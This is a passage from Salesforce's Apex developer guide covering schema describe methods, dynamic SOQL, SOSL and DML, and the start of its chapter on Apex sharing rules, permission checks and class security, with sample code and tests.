at compile time. When the parser finds the fields member variable, it looks backwards to find the name of the sObject (Account)
and validates that the field name following the fields member variable is legitimate. The fields member variable only works
when used in this manner.
Note: You should not use the fields member variable without also using either a field member variable name or the getMap
method. For more information on getMap, see the next section.
For more information about the methods available with a field describe result, see DescribeFieldResult Class.

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Understanding Describe Information Permissions

Accessing All Field Describe Results for an sObject

Use the field describe result's getMap method to return a map that represents the relationship between all the field names (keys) and
the field tokens (values) for an sObject.
The following example generates a map that can be used to access a field by name:
Map<String, Schema.SObjectField> fieldMap = Schema.SObjectType.Account.fields.getMap();

Note: The value type of this map is not a field describe result. Using the describe results would take too many system resources.
Instead, it is a map of tokens that you can use to find the appropriate field. After you determine the field, generate the describe
result for it.
The map has the following characteristics:
It is dynamic, that is, it is generated at runtime on the fields for that sObject.
All field names are case insensitive.
The keys use namespaces as required.
The keys reflect whether the field is a custom object.
For example, if the code block that generates the map is in namespace N1, and a field is also in N1, the key in the map is represented as
MyField__c. However, if the code block is in namespace N1, and the field is in namespace N2, the key is N2__MyField__c.
In addition, standard fields have no namespace prefix.

Field Describe Considerations

Note the following when describing fields.
A field describe thats executed from within an installed managed package returns Chatter fields even if Chatter is not enabled in
the installing organization. This is not true if the field describe is executed from a class thats not within an installed managed package.
When you describe sObjects and their fields from within an Apex class, custom fields of new field types are returned regardless of
the API version that the class is saved in. If a field type, such as the geolocation field type, is available only in a recent API version,
components of a geolocation field are returned even if the class is saved in an earlier API version.

Understanding Describe Information Permissions

Apex classes and triggers run in system mode. All classes and triggers that are not included in a package, that is, are native to your
organization, have no restrictions on the sObjects that they can look up dynamically. This means that with native code, you can generate
a map of all the sObjects for your organization, regardless of the current user's permission.
If you execute describe calls in an anonymous block, user permissions are taken into account. As a result, not all sObjects and fields can
be looked up if access is restricted for the running user. For example, if the you describe account fields in an anonmynous block and you
dont have access to all fields, not all fields are returned. However, all fields are returned for the same call in an Apex class.
Dynamic Apex, contained in managed packages created by Salesforce ISV partners that are installed from Force.com AppExchange, have
restricted access to any sObject outside the managed package. Partners can set the API Access value within the package to grant
access to standard sObjects not included as part of the managed package. While Partners can request access to standard objects, custom
objects are not included as part of the managed package and can never be referenced or accessed by dynamic Apex that is packaged.
For more information, see About API and Dynamic Apex Access in Packages in the Salesforce online help.

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Describing sObjects Using Schema Method

As an alternative to using tokens, you can describe sObjects by calling the describeSObjects Schema method and passing one
or more sObject type names for the sObjects you want to describe.
This example gets describe metadata information for two sObject typesThe Account standard object and the Merchandise__c custom
object. After obtaining the describe result for each sObject, this example writes the returned information to the debug output, such as
the sObject label, number of fields, whether it is a custom object or not, and the number of child relationships.
// sObject types to describe
String[] types = new String[]{'Account','Merchandise__c'};
// Make the describe call
Schema.DescribeSobjectResult[] results = Schema.describeSObjects(types);
System.debug('Got describe information for ' + results.size() + ' sObjects.');
// For each returned result, get some info
for(Schema.DescribeSobjectResult res : results) {
System.debug('sObject Label: ' + res.getLabel());
System.debug('Number of fields: ' + res.fields.getMap().size());
System.debug(res.isCustom() ? 'This is a custom object.' : 'This is a standard object.');
// Get child relationships
Schema.ChildRelationship[] rels = res.getChildRelationships();
if (rels.size() > 0) {
System.debug(res.getName() + ' has ' + rels.size() + ' child relationships.');
}
}

Describing Tabs Using Schema Methods

You can get metadata information about the apps and their tabs available in the Salesforce user interface by executing a describe call
in Apex. Also, you can get more detailed information about each tab. The methods that let you perform this are the describeTabs
Schema method and the getTabs method in Schema.DescribeTabResult, respectively.
This example shows how to get the tab sets for each app. The example then obtains tab describe metadata information for the Sales
app. For each tab, metadata information includes the icon URL, whether the tab is custom or not, and colors among others. The tab
describe information is written to the debug output.
// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.describeTabs();
// Iterate through each tab set describe for each app and display the info
for(DescribeTabSetResult tsr : tabSetDesc) {
String appLabel = tsr.getLabel();
System.debug('Label: ' + appLabel);
System.debug('Logo URL: ' + tsr.getLogoUrl());
System.debug('isSelected: ' + tsr.isSelected());
String ns = tsr.getNamespace();
if (ns == '') {
System.debug('The ' + appLabel + ' app has no namespace defined.');
}
else {

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System.debug('Namespace: ' + ns);

}
// Display tab info for the Sales app
if (appLabel == 'Sales') {
List<Schema.DescribeTabResult> tabDesc = tsr.getTabs();
System.debug('-- Tab information for the Sales app --');
for(Schema.DescribeTabResult tr : tabDesc) {
System.debug('getLabel: ' + tr.getLabel());
System.debug('getColors: ' + tr.getColors());
System.debug('getIconUrl: ' + tr.getIconUrl());
System.debug('getIcons: ' + tr.getIcons());
System.debug('getMiniIconUrl: ' + tr.getMiniIconUrl());
System.debug('getSobjectName: ' + tr.getSobjectName());
System.debug('getUrl: ' + tr.getUrl());
System.debug('isCustom: ' + tr.isCustom());
}
}
}
// Example debug statement output
// DEBUG|Label: Sales
// DEBUG|Logo URL: https://yourInstance.salesforce.com/img/seasonLogos/2014_winter_aloha.png
// DEBUG|isSelected: true
// DEBUG|The Sales app has no namespace defined.// DEBUG|-- Tab information for the Sales
app -// (This is an example debug output for the Accounts tab.)
// DEBUG|getLabel: Accounts
// DEBUG|getColors:
(Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme4;],
//
Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme3;],
//
Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme2;])
// DEBUG|getIconUrl: https://yourInstance.salesforce.com/img/icon/accounts32.png
// DEBUG|getIcons:
(Schema.DescribeIconResult[getContentType=image/png;getHeight=32;getTheme=theme3;
//
getUrl=https://yourInstance.salesforce.com/img/icon/accounts32.png;getWidth=32;],
//
//
//
//
//
//

Schema.DescribeIconResult[getContentType=image/png;getHeight=16;getTheme=theme3;
getUrl=https://yourInstance.salesforce.com/img/icon/accounts16.png;getWidth=16;])
DEBUG|getMiniIconUrl: https://yourInstance.salesforce.com/img/icon/accounts16.png
DEBUG|getSobjectName: Account
DEBUG|getUrl: https://yourInstance.salesforce.com/001/o
DEBUG|isCustom: false

Accessing All sObjects

Use the Schema getGlobalDescribe method to return a map that represents the relationship between all sObject names (keys)
to sObject tokens (values). For example:
Map<String, Schema.SObjectType> gd = Schema.getGlobalDescribe();

The map has the following characteristics:

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It is dynamic, that is, it is generated at runtime on the sObjects currently available for the organization, based on permissions.
The sObject names are case insensitive.
*
The keys are prefixed with the namespace, if any.

The keys reflect whether the sObject is a custom object.

Starting with Apex saved using Salesforce API version 28.0, the keys in the map that getGlobalDescribe returns are always
prefixed with the namespace, if any, of the code in which it is running. For example, if the code block that makes the
getGlobalDescribe call is in namespace NS1, and a custom object named MyObject__c is in the same namespace, the key
returned is NS1__MyObject__c. For Apex saved using earlier API versions, the key contains the namespace only if the namespace
of the code block and the namespace of the sObject are different. For example, if the code block that generates the map is in namespace
N1, and an sObject is also in N1, the key in the map is represented as MyObject__c. However, if the code block is in namespace N1,
and the sObject is in namespace N2, the key is N2__MyObject__c.
Standard sObjects have no namespace prefix.
Note: If the getGlobalDescribe method is called from an installed managed package, it returns sObject names and tokens
for Chatter sObjects, such as NewsFeed and UserProfileFeed, even if Chatter is not enabled in the installing organization. This is
not true if the getGlobalDescribe method is called from a class not within an installed managed package.

Accessing All Data Categories Associated with an sObject

Use the describeDataCategoryGroups and describeDataCategoryGroupStructures methods to return the
categories associated with a specific object:
1. Return all the category groups associated with the objects of your choice (see
describeDataCategoryGroups(sObjectNames)).
2. From the returned map, get the category group name and sObject name you want to further interrogate (see Describe
DataCategoryGroupResult Class).
3. Specify the category group and associated object, then retrieve the categories available to this object (see
describeDataCategoryGroupStructures).
The describeDataCategoryGroupStructures method returns the categories available for the object in the category group
you specified. For additional information about data categories, see Data Categories in Salesforce.com in the Salesforce online help.
In the following example, the describeDataCategoryGroupSample method returns all the category groups associated with
the Article and Question objects. The describeDataCategoryGroupStructures method returns all the categories available
for articles and questions in the Regions category group. For additional information about articles and questions, see Work with Articles
and Translations and Answers Overview in the Salesforce online help.
To use the following example, you must:
Enable Salesforce Knowledge.
Enable the answers feature.
Create a data category group called Regions.
Assign Regions as the data category group to be used by Answers.
Make sure the Regions data category group is assigned to Salesforce Knowledge.
For more information on creating data category groups, see Create and Modify Category Groups in the Salesforce online help. For more
information on answers, see Answers Overview in the Salesforce online help.
public class DescribeDataCategoryGroupSample {
public static List<DescribeDataCategoryGroupResult> describeDataCategoryGroupSample(){

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List<DescribeDataCategoryGroupResult> describeCategoryResult;
try {
//Creating the list of sobjects to use for the describe
//call
List<String> objType = new List<String>();
objType.add('KnowledgeArticleVersion');
objType.add('Question');
//Describe Call
describeCategoryResult = Schema.describeDataCategoryGroups(objType);
//Using the results and retrieving the information
for(DescribeDataCategoryGroupResult singleResult : describeCategoryResult){
//Getting the name of the category
singleResult.getName();
//Getting the name of label
singleResult.getLabel();
//Getting description
singleResult.getDescription();
//Getting the sobject
singleResult.getSobject();
}
} catch(Exception e){
}
return describeCategoryResult;
}
}

public class DescribeDataCategoryGroupStructures {

public static List<DescribeDataCategoryGroupStructureResult>
getDescribeDataCategoryGroupStructureResults(){
List<DescribeDataCategoryGroupResult> describeCategoryResult;
List<DescribeDataCategoryGroupStructureResult> describeCategoryStructureResult;
try {
//Making the call to the describeDataCategoryGroups to
//get the list of category groups associated
List<String> objType = new List<String>();
objType.add('KnowledgeArticleVersion');
objType.add('Question');
describeCategoryResult = Schema.describeDataCategoryGroups(objType);
//Creating a list of pair objects to use as a parameter
//for the describe call
List<DataCategoryGroupSobjectTypePair> pairs =
new List<DataCategoryGroupSobjectTypePair>();

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//Looping throught the first describe result to create

//the list of pairs for the second describe call
for(DescribeDataCategoryGroupResult singleResult :
describeCategoryResult){
DataCategoryGroupSobjectTypePair p =
new DataCategoryGroupSobjectTypePair();
p.setSobject(singleResult.getSobject());
p.setDataCategoryGroupName(singleResult.getName());
pairs.add(p);
}
//describeDataCategoryGroupStructures()
describeCategoryStructureResult =
Schema.describeDataCategoryGroupStructures(pairs, false);
//Getting data from the result
for(DescribeDataCategoryGroupStructureResult singleResult :
describeCategoryStructureResult){
//Get name of the associated Sobject
singleResult.getSobject();
//Get the name of the data category group
singleResult.getName();
//Get the name of the data category group
singleResult.getLabel();
//Get the description of the data category group
singleResult.getDescription();
//Get the top level categories
DataCategory [] toplevelCategories =
singleResult.getTopCategories();
//Recursively get all the categories
List<DataCategory> allCategories =
getAllCategories(toplevelCategories);
for(DataCategory category : allCategories) {
//Get the name of the category
category.getName();
//Get the label of the category
category.getLabel();
//Get the list of sub categories in the category
DataCategory [] childCategories =
category.getChildCategories();
}
}
} catch (Exception e){
}
return describeCategoryStructureResult;
}

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private static DataCategory[] getAllCategories(DataCategory [] categories){

if(categories.isEmpty()){
return new DataCategory[]{};
} else {
DataCategory [] categoriesClone = categories.clone();
DataCategory category = categoriesClone[0];
DataCategory[] allCategories = new DataCategory[]{category};
categoriesClone.remove(0);
categoriesClone.addAll(category.getChildCategories());
allCategories.addAll(getAllCategories(categoriesClone));
return allCategories;
}
}
}

Testing Access to All Data Categories Associated with an sObject

The following example tests the describeDataCategoryGroupSample method shown earlier. It ensures that the returned
category group and associated objects are correct.
@isTest
private class DescribeDataCategoryGroupSampleTest {
public static testMethod void describeDataCategoryGroupSampleTest(){
List<DescribeDataCategoryGroupResult>describeResult =
DescribeDataCategoryGroupSample.describeDataCategoryGroupSample();
//Assuming that you have KnowledgeArticleVersion and Questions
//associated with only one category group 'Regions'.
System.assert(describeResult.size() == 2,
'The results should only contain two results: ' + describeResult.size());
for(DescribeDataCategoryGroupResult result : describeResult) {
//Storing the results
String name = result.getName();
String label = result.getLabel();
String description = result.getDescription();
String objectNames = result.getSobject();
//asserting the values to make sure
System.assert(name == 'Regions',
'Incorrect name was returned: ' + name);
System.assert(label == 'Regions of the World',
'Incorrect label was returned: ' + label);
System.assert(description == 'This is the category group for all the regions',
'Incorrect description was returned: ' + description);
System.assert(objectNames.contains('KnowledgeArticleVersion')
|| objectNames.contains('Question'),
'Incorrect sObject was returned: ' + objectNames);
}
}
}

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This example tests the describeDataCategoryGroupStructures method. It ensures that the returned category group,
categories and associated objects are correct.
@isTest
private class DescribeDataCategoryGroupStructuresTest {
public static testMethod void getDescribeDataCategoryGroupStructureResultsTest(){
List<Schema.DescribeDataCategoryGroupStructureResult> describeResult =
DescribeDataCategoryGroupStructures.getDescribeDataCategoryGroupStructureResults();

System.assert(describeResult.size() == 2,
'The results should only contain 2 results: ' + describeResult.size());
//Creating category info
CategoryInfo world = new CategoryInfo('World', 'World');
CategoryInfo asia = new CategoryInfo('Asia', 'Asia');
CategoryInfo northAmerica = new CategoryInfo('NorthAmerica',
'North America');
CategoryInfo southAmerica = new CategoryInfo('SouthAmerica',
'South America');
CategoryInfo europe = new CategoryInfo('Europe', 'Europe');
List<CategoryInfo> info = new CategoryInfo[] {
asia, northAmerica, southAmerica, europe
};
for (Schema.DescribeDataCategoryGroupStructureResult result : describeResult) {
String name = result.getName();
String label = result.getLabel();
String description = result.getDescription();
String objectNames = result.getSobject();
//asserting the values to make sure
System.assert(name == 'Regions',
'Incorrect name was returned: ' + name);
System.assert(label == 'Regions of the World',
'Incorrect label was returned: ' + label);
System.assert(description == 'This is the category group for all the regions',
'Incorrect description was returned: ' + description);
System.assert(objectNames.contains('KnowledgeArticleVersion')
|| objectNames.contains('Question'),
'Incorrect sObject was returned: ' + objectNames);
DataCategory [] topLevelCategories = result.getTopCategories();
System.assert(topLevelCategories.size() == 1,
'Incorrect number of top level categories returned: ' + topLevelCategories.size());
System.assert(topLevelCategories[0].getLabel() == world.getLabel() &&
topLevelCategories[0].getName() == world.getName());
//checking if the correct children are returned
DataCategory [] children = topLevelCategories[0].getChildCategories();
System.assert(children.size() == 4,
'Incorrect number of children returned: ' + children.size());
for(Integer i=0; i < children.size(); i++){

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System.assert(children[i].getLabel() == info[i].getLabel() &&

children[i].getName() == info[i].getName());
}
}
}
private class CategoryInfo {
private final String name;
private final String label;
private CategoryInfo(String n, String l){
this.name = n;
this.label = l;
}
public String getName(){
return this.name;
}
public String getLabel(){
return this.label;
}
}
}

Dynamic SOQL
Dynamic SOQL refers to the creation of a SOQL string at runtime with Apex code. Dynamic SOQL enables you to create more flexible
applications. For example, you can create a search based on input from an end user, or update records with varying field names.
To create a dynamic SOQL query at runtime, use the database query method, in one of the following ways:
Return a single sObject when the query returns a single record:
sObject s = Database.query(string_limit_1);

Return a list of sObjects when the query returns more than a single record:
List<sObject> sobjList = Database.query(string);

The database query method can be used wherever an inline SOQL query can be used, such as in regular assignment statements and
for loops. The results are processed in much the same way as static SOQL queries are processed.
Dynamic SOQL results can be specified as concrete sObjects, such as Account or MyCustomObject__c, or as the generic sObject data
type. At runtime, the system validates that the type of the query matches the declared type of the variable. If the query does not return
the correct sObject type, a runtime error is thrown. This means you do not need to cast from a generic sObject to a concrete sObject.
Dynamic SOQL queries have the same governor limits as static queries. For more information on governor limits, see Execution Governors
and Limits on page 273.
For a full description of SOQL query syntax, see Salesforce Object Query Language (SOQL) in the Force.com SOQL and SOSL Reference.

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Dynamic SOQL Considerations

You can use simple bind variables in dynamic SOQL query strings. The following is allowed:
String myTestString = 'TestName';
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE Name =
:myTestString');

However, unlike inline SOQL, dynamic SOQL cant use bind variable fields in the query string. The following example isnt supported and
results in a Variable does not exist error:
MyCustomObject__c myVariable = new MyCustomObject__c(field1__c ='TestField');
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c
= :myVariable.field1__c');

You can instead resolve the variable field into a string and use the string in your dynamic SOQL query:
String resolvedField1 = myVariable.field1__c;
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c
= ' + resolvedField1);

SOQL Injection
SOQL injection is a technique by which a user causes your application to execute database methods you did not intend by passing SOQL
statements into your code. This can occur in Apex code whenever your application relies on end user input to construct a dynamic SOQL
statement and you do not handle the input properly.
To prevent SOQL injection, use the escapeSingleQuotes method. This method adds the escape character (\) to all single quotation
marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead
of database commands.

Dynamic SOSL
Dynamic SOSL refers to the creation of a SOSL string at run time with Apex code. Dynamic SOSL enables you to create more flexible
applications. For example, you can create a search based on input from an end user, or update records with varying field names.
To create a dynamic SOSL query at run time, use the search query method. For example:
List<List <sObject>> myQuery = search.query(SOSL_search_string);

The following example exercises a simple SOSL query string.

String searchquery='FIND\'Edge*\'IN ALL FIELDS RETURNING Account(id,name),Contact, Lead';
List<List<SObject>>searchList=search.query(searchquery);

Dynamic SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type.
The result lists are always returned in the same order as they were specified in the dynamic SOSL query. From the example above, the
results from Account are first, then Contact, then Lead.
The search query method can be used wherever an inline SOSL query can be used, such as in regular assignment statements and
for loops. The results are processed in much the same way as static SOSL queries are processed.
Dynamic SOSL queries have the same governor limits as static queries. For more information on governor limits, see Execution Governors
and Limits on page 273.
For a full description of SOSL query syntax, see Salesforce Object Search Language (SOSL) in the Force.com SOQL and SOSL Reference.

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Use Dynamic SOSL to Return Snippets

To provide users with more context for records in search results, use the SOSL WITH SNIPPET clause. Snippets make it easier for
users to identify the content that theyre looking for when the search term isnt included in the summary field. For information about
how snippets are generated, see WITH SNIPPET in the Force.com SOQL and SOSL Reference.
To use the SOSL WITH SNIPPET clause in a dynamic SOSL query at run time, use the Search.find method.
Search.SearchResults searchResults = Search.find(SOSL_search_string);

This example exercises a simple SOSL query string that includes a WITH SNIPPET clause. The example calls System.debug()
to print the returned titles and snippets. Your code would display the titles and snippets in a Web page.
Search.SearchResults searchResults = Search.find('FIND \'test\' IN ALL FIELDS RETURNING
KnowledgeArticleVersion(id, title WHERE PublishStatus = \'Online\' AND Language = \'en_US\')
WITH SNIPPET (target_length=120)');
List<Search.SearchResult> articlelist = searchResults.get('KnowledgeArticleVersion');
for (Search.SearchResult searchResult : articleList) {
KnowledgeArticleVersion article = (KnowledgeArticleVersion) searchResult.getSObject();
System.debug(article.Title);
System.debug(searchResult.getSnippet());
}

SOSL Injection
SOSL injection is a technique by which a user causes your application to execute database methods you did not intend by passing SOSL
statements into your code. A SOSL injection can occur in Apex code whenever your application relies on end-user input to construct a
dynamic SOSL statement and you do not handle the input properly.
To prevent SOSL injection, use the escapeSingleQuotes method. This method adds the escape character (\) to all single quotation
marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead
of database commands.
SEE ALSO:
find(searchQuery)

Dynamic DML
In addition to querying describe information and building SOQL queries at runtime, you can also create sObjects dynamically, and insert
them into the database using DML.
To create a new sObject of a given type, use the newSObject method on an sObject token. Note that the token must be cast into a
concrete sObject type (such as Account). For example:
// Get a new account
Account a = new Account();
// Get the token for the account
Schema.sObjectType tokenA = a.getSObjectType();
// The following produces an error because the token is a generic sObject, not an Account
// Account b = tokenA.newSObject();

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// The following works because the token is cast back into an Account
Account b = (Account)tokenA.newSObject();

Though the sObject token tokenA is a token of Account, it is considered an sObject because it is accessed separately. It must be cast
back into the concrete sObject type Account to use the newSObject method. For more information on casting, see Classes and
Casting on page 96.
You can also specify an ID with newSObject to create an sObject that references an existing record that you can update later. For
example:
SObject s = Database.query('SELECT Id FROM account LIMIT 1')[0].getSObjectType().
newSObject([SELECT Id FROM Account LIMIT 1][0].Id);

See SObjectType Class.

Dynamic sObject Creation Example

This example shows how to obtain the sObject token through the Schema.getGlobalDescribe method and then creates a
new sObject using the newSObject method on the token. This example also contains a test method that verifies the dynamic creation
of an account.
public class DynamicSObjectCreation {
public static sObject createObject(String typeName) {
Schema.SObjectType targetType = Schema.getGlobalDescribe().get(typeName);
if (targetType == null) {
// throw an exception
}
// Instantiate an sObject with the type passed in as an argument
// at run time.
return targetType.newSObject();
}
}
@isTest
private class DynamicSObjectCreationTest {
static testmethod void testObjectCreation() {
String typeName = 'Account';
String acctName = 'Acme';
// Create a new sObject by passing the sObject type as an argument.
Account a = (Account)DynamicSObjectCreation.createObject(typeName);
System.assertEquals(typeName, String.valueOf(a.getSobjectType()));
// Set the account name and insert the account.
a.Name = acctName;
insert a;
// Verify the new sObject got inserted.
Account[] b = [SELECT Name from Account WHERE Name = :acctName];
system.assert(b.size() > 0);
}
}

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Setting and Retrieving Field Values

Use the get and put methods on an object to set or retrieve values for fields using either the API name of the field expressed as a
String, or the field's token. In the following example, the API name of the field AccountNumber is used:
SObject s = [SELECT AccountNumber FROM Account LIMIT 1];
Object o = s.get('AccountNumber');
s.put('AccountNumber', 'abc');

The following example uses the AccountNumber field's token instead:

Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.AccountNumber;
Sobject s = Database.query('SELECT AccountNumber FROM Account LIMIT 1');
s.put(dfr.getsObjectField(), '12345');

The Object scalar data type can be used as a generic data type to set or retrieve field values on an sObject. This is equivalent to the
anyType field type. Note that the Object data type is different from the sObject data type, which can be used as a generic type for any
sObject.
Note: Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String
value that is too long for the field.

Setting and Retrieving Foreign Keys

Apex supports populating foreign keys by name (or external ID) in the same way as the API. To set or retrieve the scalar ID value of a
foreign key, use the get or put methods.
To set or retrieve the record associated with a foreign key, use the getSObject and putSObject methods. Note that these
methods must be used with the sObject data type, not Object. For example:
SObject c =
Database.query('SELECT Id, FirstName, AccountId, Account.Name FROM Contact LIMIT 1');
SObject a = c.getSObject('Account');

There is no need to specify the external ID for a parent sObject value while working with child sObjects. If you provide an ID in the parent
sObject, it is ignored by the DML operation. Apex assumes the foreign key is populated through a relationship SOQL query, which always
returns a parent object with a populated ID. If you have an ID, use it with the child object.
For example, suppose that custom object C1 has a foreign key c2__c that links to a child custom object C2. You want to create a C1
object and have it associated with a C2 record named 'xxx' (assigned to the value c2__r). You do not need the ID of the 'xxx' record,
as it is populated through the relationship of parent to child. For example:
insert new C1__c(name = 'x', c2__r = new C2__c(name = 'xxx'));

If you had assigned a value to the ID for c2__r, it would be ignored. If you do have the ID, assign it to the object (c2__c), not the
record.
You can also access foreign keys using dynamic Apex. The following example shows how to get the values from a subquery in a
parent-to-child relationship using dynamic Apex:
String queryString = 'SELECT Id, Name, ' +
'(SELECT FirstName, LastName FROM Contacts LIMIT 1) FROM Account';
SObject[] queryParentObject = Database.query(queryString);
for (SObject parentRecord : queryParentObject){
Object ParentFieldValue = parentRecord.get('Name');
// Prevent a null relationship from being accessed

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SObject[] childRecordsFromParent = parentRecord.getSObjects('Contacts');

if (childRecordsFromParent != null) {
for (SObject childRecord : childRecordsFromParent){
Object ChildFieldValue1 = childRecord.get('FirstName');
Object ChildFieldValue2 = childRecord.get('LastName');
System.debug('Account Name: ' + ParentFieldValue +
'. Contact Name: '+ ChildFieldValue1 + ' ' + ChildFieldValue2);
}
}
}

Apex Security and Sharing

This chapter covers security and sharing for Apex. Youll learn about the security of running code and how to add user permissions for
Apex classes. Also, youll learn how sharing rules can be enforced. Furthermore, Apex managed sharing is described. Finally, security tips
are provided.

Enforcing Sharing Rules

Apex generally runs in system context; that is, the current user's permissions, field-level security, and sharing rules arent taken into
account during code execution.
Note: The only exceptions to this rule are Apex code that is executed with the executeAnonymous call and Chatter in Apex.
executeAnonymous always executes using the full permissions of the current user. For more information on
executeAnonymous, see Anonymous Blocks on page 208.
Because these rules aren't enforced, developers who use Apex must take care that they don't inadvertently expose sensitive data that
would normally be hidden from users by user permissions, field-level security, or organization-wide defaults. They should be particularly
careful with Web services, which can be restricted by permissions, but execute in system context once they are initiated.
Most of the time, system context provides the correct behavior for system-level operations such as triggers and Web services that need
access to all data in an organization. However, you can also specify that particular Apex classes should enforce the sharing rules that
apply to the current user. (For more information on sharing rules, see the Salesforce online help.)
Note: Enforcing sharing rules by using the with sharing keyword doesnt enforce the user's permissions and field-level
security. Apex code always has access to all fields and objects in an organization, ensuring that code wont fail to run because of
hidden fields or objects for a user.
This example has two classes, the first class (CWith) enforces sharing rules while the second class (CWithout) doesnt. The CWithout
class calls a method from the first, which runs with sharing rules enforced. The CWithout class contains an inner classes, in which
code executes under the same sharing context as the caller. It also contains a class that extends it, which inherits its without sharing
setting.
public with sharing class CWith {
// All code in this class operates with enforced sharing rules.
Account a = [SELECT . . . ];
public static void m() { . . . }
static {
. . .

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}
{
. . .
}
public void c() {
. . .
}
}
public without sharing class CWithout {
// All code in this class ignores sharing rules and operates
// as if the context user has the Modify All Data permission.
Account a = [SELECT . . . ];
. . .
public static void m() {
. . .
// This call into CWith operates with enforced sharing rules
// for the context user. When the call finishes, the code execution
// returns to without sharing mode.
CWith.m();
}

public class CInner {

// All code in this class executes with the same sharing context
// as the code that calls it.
// Inner classes are separate from outer classes.
. . .
// Again, this call into CWith operates with enforced sharing rules
// for the context user, regardless of the class that initially called this inner
class.
// When the call finishes, the code execution returns to the sharing mode that was
used to call this inner class.
CWith.m();
}
public class CInnerWithOut extends CWithout {
// All code in this class ignores sharing rules because
// this class extends a parent class that ignores sharing rules.
}
}

Warning: There is no guarantee that a class declared as with sharing doesn't call code that operates as without
sharing. Class-level security is always still necessary. In addition, all SOQL or SOSL queries that use PriceBook2 ignore the with
sharing keyword. All PriceBook records are returned, regardless of the applied sharing rules.
Enforcing the current user's sharing rules can impact:
SOQL and SOSL queries. A query may return fewer rows than it would operating in system context.

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Enforcing Object and Field Permissions

DML operations. An operation may fail because the current user doesn't have the correct permissions. For example, if the user
specifies a foreign key value that exists in the organization, but which the current user does not have access to.

Enforcing Object and Field Permissions

Apex generally runs in system context; that is, the current user's permissions, field-level security, and sharing rules arent taken into
account during code execution. The only exceptions to this rule are Apex code that is executed with the executeAnonymous call
and Chatter in Apex. executeAnonymous always executes using the full permissions of the current user. For more information on
executeAnonymous, see Anonymous Blocks on page 208.
Although Apex doesn't enforce object-level and field-level permissions by default, you can enforce these permissions in your code by
explicitly calling the sObject describe result methods (of Schema.DescribeSObjectResult) and the field describe result methods (of
Schema.DescribeFieldResult) that check the current user's access permission levels. In this way, you can verify if the current user has the
necessary permissions, and only if he or she has sufficient permissions, you can then perform a specific DML operation or a query.
For example, you can call the isAccessible, isCreateable, or isUpdateable methods of
Schema.DescribeSObjectResult to verify whether the current user has read, create, or update access to an sObject, respectively.
Similarly, Schema.DescribeFieldResult exposes these access control methods that you can call to check the current user's
read, create, or update access for a field. In addition, you can call the isDeletable method provided by
Schema.DescribeSObjectResult to check if the current user has permission to delete a specific sObject.
These are some examples of how to call the access control methods.
To check the field-level update permission of the contact's email field before updating it:
if (Schema.sObjectType.Contact.fields.Email.isUpdateable()) {
// Update contact phone number
}

To check the field-level create permission of the contact's email field before creating a new contact:
if (Schema.sObjectType.Contact.fields.Email.isCreateable()) {
// Create new contact
}

To check the field-level read permission of the contact's email field before querying for this field:
if (Schema.sObjectType.Contact.fields.Email.isAccessible()) {
Contact c = [SELECT Email FROM Contact WHERE Id= :Id];
}

To check the object-level permission for the contact before deleting the contact.
if (Schema.sObjectType.Contact.isDeletable()) {
// Delete contact
}

Sharing rules are distinct from object-level and field-level permissions. They can coexist. If sharing rules are defined in Salesforce, you
can enforce them at the class level by declaring the class with the with sharing keyword. For more information, see Using the
with sharing or without sharing Keywords. If you call the sObject describe result and field describe result access control
methods, the verification of object and field-level permissions is performed in addition to the sharing rules that are in effect. Sometimes,
the access level granted by a sharing rule could conflict with an object-level or field-level permission.

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Class Security
You can specify which users can execute methods in a particular top-level class based on their user profile or permission sets. You can
only set security on Apex classes, not on triggers.
To set Apex class security from the class list page:
1. From Setup, enter Apex Classes in the Quick Find box, then select Apex Classes.
2. Next to the name of the class that you want to restrict, click Security.
3. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you want to disable
from the Enabled Profiles list and click Remove.
4. Click Save.
To set Apex class security from the class detail page:
1. From Setup, enter Apex Classes in the Quick Find box, then select Apex Classes.
2. Click the name of the class that you want to restrict.
3. Click Security.
4. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you want to disable
from the Enabled Profiles list and click Remove.
5. Click Save.
To set Apex class security from a permission set:
1. From Setup, enter Permission Sets in the Quick Find box, then select Permission Sets.
2. Select a permission set.
3. Click Apex Class Access.
4. Click Edit.
5. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex classes that
you want to disable from the Enabled Apex Classes list and click Remove.
6. Click Save.
To set Apex class security from a profile:
1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile.
3. In the Apex Class Access page or related list, click Edit.
4. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex classes that
you want to disable from the Enabled Apex Classes list and click Remove.
5. Click Save.

Understanding Apex Managed Sharing

Sharing is the act of granting a user or group of users permission to perform a set of actions on a record or set of records. Sharing access
can be granted using the Salesforce user interface and Force.com, or programmatically using Apex.
This section provides an overview of sharing using Apex:
Understanding Sharing
Sharing a Record Using Apex

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Recalculating Apex Managed Sharing

For more information on sharing, see Set Your Organization-Wide Sharing Defaults in the Salesforce online help.

Understanding Sharing
Sharing enables record-level access control for all custom objects, as well as many standard objects (such as Account, Contact, Opportunity
and Case). Administrators first set an objects organization-wide default sharing access level, and then grant additional access based on
record ownership, the role hierarchy, sharing rules, and manual sharing. Developers can then use Apex managed sharing to grant
additional access programmatically with Apex. Most sharing for a record is maintained in a related sharing object, similar to an access
control list (ACL) found in other platforms.

Types of Sharing
Salesforce has the following types of sharing:
Force.com Managed Sharing
Force.com managed sharing involves sharing access granted by Force.com based on record ownership, the role hierarchy, and
sharing rules:
Record Ownership
